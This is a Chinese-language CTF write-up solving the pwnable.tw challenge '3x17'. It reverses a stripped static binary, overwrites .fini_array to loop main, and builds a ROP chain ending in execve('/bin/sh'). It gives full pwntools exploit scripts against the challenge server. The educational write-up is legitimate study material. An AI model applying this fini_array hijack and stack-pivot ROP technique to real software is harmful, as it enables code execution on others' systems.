Pwnable.tw-3x17

2024-09-16

Pwnable.tw-3x17

Author: 堇姬Naup

分析

一樣IDA開逆
這題把debug symbol全部拔掉,我們先定位main在哪裡

start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rax
unsigned int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
sub_401EB0(
(__int64 (__fastcall *)(_QWORD, __int64, __int64))sub_401B6D,
v4,
(__int64)&retaddr,
(void (__fastcall *)(_QWORD, __int64, __int64))sub_4028D0,
(__int64)sub_402960,
a3,
(__int64)&v5);
}

實際去run這隻binary會看到他印出來的一些字,用這些字去定位

sub_401B6D() 是 main

先修復變數

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *atoi_buf; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
write_f(1u, "addr:", 5uLL);
read_f(0, buf, 0x18uLL);
atoi_buf = (char *)(int)atoi_f(buf);
write_f(1u, "data:", 5uLL);
read_f(0, atoi_buf, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != canary )
stackcanary();
return result;
}

簡單來說讀一個address並讀資料寫到該address,可以任意寫0x18

回到start
他call了一個function
看了一下,有__libc_start_main的特徵

1
2
3
4
5
6
7
8
9
10
11
12
.text:0000000000401A50                 xor     ebp, ebp
.text:0000000000401A52 mov r9, rdx
.text:0000000000401A55 pop rsi
.text:0000000000401A56 mov rdx, rsp
.text:0000000000401A59 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D push rax
.text:0000000000401A5E push rsp
.text:0000000000401A5F mov r8, offset sub_402960
.text:0000000000401A66 mov rcx, offset sub_4028D0
.text:0000000000401A6D mov rdi, offset main
.text:0000000000401A74 db 67h
.text:0000000000401A74 call __libc_start_main

__libc_start_main他呼叫的架構長這樣

https://imaddabbura.github.io/posts/c/program-startup-notes.html

1
2
3
4
5
6
7
8
__libc_start_main (int (*main) (int, char **, char **),
int argc,
char *argv,
int (*init) (int, char **, char **),
void (*fini) (void),
void (*rtld_fini) (void),
void *stack_end
)

對比我們的IDA結果

value 意義
v4 argc
sub_4028D0 init function
sub_402960 fini function
1
2
3
4
5
6
7
8
9
  _libc_start_main(
(__int64 (__fastcall *)(_QWORD, __int64, __int64))main,
v4,
(__int64)&retaddr,
(void (__fastcall *)(_QWORD, __int64, __int64))sub_4028D0,
(__int64)sub_402960,
a3,
(__int64)&v5);
}

init function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall init_f(unsigned int a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
signed __int64 v5; // r14
__int64 i; // rbx

result = init_proc();
v5 = off_4B40F0 - funcs_402908;
if ( v5 )
{
for ( i = 0LL; i != v5; ++i )
result = ((__int64 (__fastcall *)(_QWORD, __int64, __int64))funcs_402908[i])(a1, a2, a3);
}
return result;
}

fini function

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 fini_func()
{
signed __int64 v0; // rbx

if ( (&unk_4B4100 - (_UNKNOWN *)fini_array) >> 3 )
{
v0 = ((&unk_4B4100 - (_UNKNOWN *)fini_array) >> 3) - 1;
do
fini_array[v0--]();
while ( v0 != -1 );
}
return term_proc();
}

fini array有兩個值

1
2
3
pwndbg> x/10xg 0x4b40f0
0x4b40f0: 0x0000000000401b00 0x0000000000401580
0x4b4100: 0x0000000d00000002 0x000000000048f7e0

v0是2

理論上它會
libc_start_main -> libc_csu_init -> init ->main -> fini_function -> fini_array[1] -> fini_array[0]

fini array在 0x4B40F0
在可寫段,如果我可以改寫這段,跳回main,就可以有無限制的任意寫

我將 fini_arr1 -> fini_arr0 原有的值改成
main -> fini function -> main -> fini function -> …

這樣就有無限任意寫了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./3x17')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10105")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x401b6d')


### exploit
main_address = 0x401b6d
fini_func_address = 0x402960
fini_array = 0x4b40f0

# fini_arr0 = 0x401b00
# fini_arr1 = 0x401580

# call fini_arr1 -> fini_arr0 change to call main -> fini function -> main -> fini function -> ...

sla(b'addr:',str(fini_array).encode())
sla(b'data:',p64(fini_func_address)+p64(main_address))

### interactive
ita()

他是static,代表他有gadget可以寫,堆ROP

gadget address value
/bin/sh 0x4b9600 none
pop rax ; ret 0x41e4af 0x3b
pop rsi ; ret 0x406c30 0
pop rdi ; ret 0x401696 0x4b9600
pop rdx ; ret 0x446e35 0
syscall 0x4022b4 none
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./3x17')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10105")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x401b6d')


### exploit
main_address = 0x401b6d
fini_func_address = 0x402960
fini_array = 0x4b40f0

# fini_arr0 = 0x401b00
# fini_arr1 = 0x401580

# call fini_arr1 -> fini_arr0 change to call main -> fini function -> main -> fini function -> ...

sla(b'addr:',str(fini_array).encode())
sla(b'data:',p64(fini_func_address)+p64(main_address))

### ROPgadget
pop_rax = 0x41e4af
pop_rdi = 0x401696
pop_rdx = 0x446e35
pop_rsi = 0x406c30
syscall = 0x4022b4

binsh = b'/bin/sh\x00'

binsh_memory = 0x4b9600
ROP_memory = 0x4b8700

def wg(addr,data):
sla(b'addr:',addr)
sla(b'data:',data)

wg(binsh_memory,binsh)

wg(ROP_memory,p64(pop_rax))
wg(ROP_memory+0x8,p64(0x3b))

wg(ROP_memory+0x10,p64(pop_rdi))
wg(ROP_memory+0x18,p64(binsh_memory))

wg(ROP_memory+0x20,p64(pop_rdx))
wg(ROP_memory+0x28,p64(0))

wg(ROP_memory+0x30,pop_rsi)
wg(ROP_memory+0x38,p64(0))

wg(ROP_memory+0x40,p64(syscall))

### interactive
ita()

當我做到這樣,突然發現因為我沒辦法寫stack,所以我是找隨便一塊記憶體來放ROP,想要跳過去,但是這樣我就必須把rsp搬過去
這邊可以用stack migration

1
2
mov rsp, rbp
pop rbp

藉由將fini array的地方寫成leave+ret
就可以了
前提是將rbp設為ROP位置-0x8
那我究竟要怎麼控rbp呢?

這邊觀察到,他在call fini array內容前,rbp值是0x4b40f0

所以我們將ROPgadget寫在0x4b4100

不需要控rbp,直接leave後ret兩次就會跳上去(為了不要蓋到fini array內容所以這邊往後蓋0x10)

所以最後蓋
leave;ret + ret
因為執行順序是
現在在main,所以接下來執行fini array 1
之後執行fini array 0

執行完就RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./3x17')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10105")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p_c(r,'b *0x401b6d')


### exploit
main_address = 0x401b6d
fini_func_address = 0x402960
fini_array = 0x4b40f0

# fini_arr0 = 0x401b00
# fini_arr1 = 0x401580

# call fini_arr1 -> fini_arr0 change to call main -> fini function -> main -> fini function -> ...

sla(b'addr:',str(fini_array).encode())
sla(b'data:',p64(fini_func_address)+p64(main_address))

### ROPgadget
pop_rax = 0x41e4af
pop_rdi = 0x401696
pop_rdx = 0x446e35
pop_rsi = 0x406c30
syscall = 0x4022b4
leave_ret = 0x401c4b

binsh = b'/bin/sh\x00'

binsh_memory = 0x4b9600
ROP_memory = 0x4b4100

def wg(addr,data):
sa(b'addr:',str(addr).encode())
sa(b'data:',data)

wg(binsh_memory,binsh)

wg(ROP_memory,p64(pop_rax))
wg(ROP_memory+0x8,p64(0x3b))

wg(ROP_memory+0x10,p64(pop_rdi))
wg(ROP_memory+0x18,p64(binsh_memory))

wg(ROP_memory+0x20,p64(pop_rdx))
wg(ROP_memory+0x28,p64(0x0))

wg(ROP_memory+0x30,p64(pop_rsi))
wg(ROP_memory+0x38,p64(0x0))

wg(ROP_memory+0x40,p64(syscall))

wg(fini_array,p64(leave_ret)+p64(0x401016))

### interactive
ita()

(150分的題目體感比排tcache tear的heap還要複雜很多)